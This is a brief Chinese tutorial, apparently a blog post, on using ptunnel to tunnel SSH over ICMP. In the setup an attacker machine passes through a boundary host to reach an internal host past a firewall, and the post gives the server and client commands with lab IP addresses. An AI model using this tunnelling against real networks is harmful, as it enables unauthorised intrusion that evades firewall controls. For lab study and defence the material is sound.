本文介绍了一种利用ICMP协议构建SSH通信的方法。通过在边界机B上部署ptunnel服务端，实现从攻击机A绕过防火墙限制，间接访问内网机C的过程。具体步骤包括：1. 在B上启动ptunnel服务；2. A配置ptunnel参数指向B，并指定本地监听端口及C的地址和端口；3. 通过A建立到C的SSH连接。
利用icmp隧道构建ssh通信
A：192.168.16.144
B：192.168.16.137
C：192.168.16.142
A是攻击机，B是边界，C是内网机。A和B之间有防火墙。现在通过配置后使A可以ssh访问到C。
1.B上配置：
ptunnel -s开启ptunnel服务端模式
2.A上配置：
ptunnel -p 192.168.16.137 -lp 2019 -da 192.168.16.142 -dp 22
-p:指向跳板机的地址
-lp:指向本地监听端口
-da:指向受害机地址
-dp:指向连接的受害机的端口
ssh -p 2019 Cuser@127.0.0.1建立连接。
3.数据包情况
扫一扫
4552
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
